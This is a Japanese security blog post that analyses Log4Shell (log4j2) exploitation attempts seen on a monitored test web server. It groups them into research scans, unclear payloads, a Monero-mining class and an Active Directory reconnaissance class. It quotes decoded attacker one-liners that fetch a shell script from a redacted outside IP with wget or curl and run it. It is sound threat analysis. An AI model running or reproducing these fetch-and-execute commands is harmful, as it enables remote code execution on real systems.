top of page

log4j2 の脆弱性を突く攻撃をしてきている連中は何を狙っているのか?

Verizon NDRによる監視について

実験用のWebサーバは、http(Port:80)/https(Port:443)を公開しており、ネットワークトラフィックを弊社で取り扱っているVerizon NDRで、監視しています。

httpsに関しては、Reverse ProxyでTLSを終端しており、バックエンドのWebサーバへのトラフィックは、デコードされた状態で監視できる状態となっています。

Verizon NDR画面



攻撃内容の調査について

攻撃は、log4j2の脆弱性を利用したLDAP等のクエリとクラスファイルのダウンロードを用いて行われます。そこで、ダウンロードされたクラスファイルを逆コンパイルすることで、攻撃者の意図を知ることができます。

JNDIの外部参照のメカニズムはシンプルですので、通信に関しては容易にシミュレート可能です。今回の調査でも curlコマンドを用いてシミュレートしています。

Curlコマンドを用いたシミュレーションの例



検知された攻撃の意図

Verizon NDRで検知されたlog4j2の脆弱性を狙った攻撃は、複数のパターンがありましたので、それぞれ何をしようとしているのかを追いかけてみました。


その1: 調査目的

(1)kryptoslogic-cve-2021-44228.com http://kryptoslogic-cve-2021-44228.com/ によると調査用とのことですので、深追いはしていません。

(2)ldapp://[random文字列].canarytokens.com/a こちらも調査用とのことで、random文字列部分のDNSクエリが飛んだか否かで、脆弱性の有無をチェックしている模様。


その2:意図不明(接続不可)

(1)LDAP URLのパス部にBase64文字列が含まれていて、Base64文字列部分をデコードすると

 wget http://[IP Addr] /lh.sh;chmod +x lh.sh;./lh.sh

のようにwgetコマンドが含まれているもの

→ 特定ホストからシェルスクリプトをダウンロードしようとするものと思われますが、LDAP, HTTP共にすでに接続が不可能だったため、詳細は不明です。


(2)LDAP URLにBase64文字列が含まれていて、Base64文字列部分をデコードすると

 (curl -s [IP Addr]:5874/[攻撃を受けたIPアドレス]:80||wget -q -O- [IP Addr]:5874/[攻撃を受けたIPアドレス]:80)|bash

となっているもの

→リクエストのクエリパラメタ、User-Agent、Refererに攻撃文字列が含まれていました。

LDAPでの接続は可能で、ダウンロード対象のクラス名は Exploit+[ランダム文字列] と動的に変化していました。ただ、クラスファイルのダウンロードは不可能だったため、正確な意図は不明です。


その3:マイニング LDAP URLが[Host]:1389/Exploit のもので、攻撃文字列はRequest Headerの User-Agent, Authorization (Basic, Bearer, OAuth)などとして含まれています。 攻撃状況を見ると、最も試行回数が多いものです。また、接続先となるIPアドレス、UserAgentなどのバリエーションなども多くあります。

LDAP接続、クラスのダウンロード共に可能で、クラス名は Exploitです。 Exploitクラスでは、外部コマンドを実行(wget/curl)することで、実行可能だったホストの記録として外部サーバに情報を残すと共に、windowsの場合のみ、powershellによって外部のスクリプトファイルをダウンロードします。 ダウンロードしたスクリプトファイルの内部では、exeファイルをさらにダウンロードして、実行しています。exeファイルは 暗号通貨のMoneroのマイニングツールでしたので、マイニングを狙ったものと考えられます。

ソースコードのうち、外部コマンドの実行部分はその2-(2)のBase64文字列部分と似通ったものとなっていました。クラス名の類似性(Exploit)もあり、その2のBase64を利用した実装は、この3からの派生 (動的なコマンド埋め込みが追加された?)が疑われます。


その4: 組織内の調査

LDAP URLが[Host]:1389/tのもので、攻撃文字列はUser-Agentに含まれるのみですが、文字列にはWAF等のフィルタ回避策がとられています。

LDAP接続、クラスのダウンロード共に可能で、クラス名は Runnerでした。

Runnerクラスでは、実行環境のOSのチェックを行い、Windowsの場合のみpowershellコマンドを実行します。Powershellコマンドでは、ActiveDirectoryに接続して、最近ログインのあったコンピュータ(PC)をリストアップしてカウントし、カウント数を外部のサーバに送信していました。

挙動としては調査だけですが、ADに接続し、PCの台数を見ることで、次の攻撃の参考情報として利用する可能性が考えられます。



まとめ

今回のlog4j2の脆弱性については、いわゆる0-dayとして対策が追いつかないうちに脆弱性が広まり、また、それを踏まえた攻撃もすぐに多く行われました。今回は行動の「早い」攻撃者の意図を探ってみました。


「その3」のコード自体は、サンプルコードの域を出ていないものでしたが、コードがすぐに流通したこと、また、マイニングという、ある意味わかりやすい用途であり、多数の類似した攻撃が継続的に行われている事から「カジュアル」な攻撃者が、容易にサンプルコードが利用できていることが推測されます。

一方で、「その4」のコードは、「その3」と比べると洗練された印象があり、また、実行内容も次の攻撃、例えばランサムウェアの送り込みなど、より大きな攻撃に繋げようという意図が感じられます。


各地で脆弱性への対応は進んでいるかと思いますが、攻撃は引き続き行われています。今後は無差別のスキャン的攻撃が引き続き多数を占めるものの、そこから標的を絞った攻撃への遷移が発生して、より大きな被害が出る可能性が考えられます。

コメント


bottom of page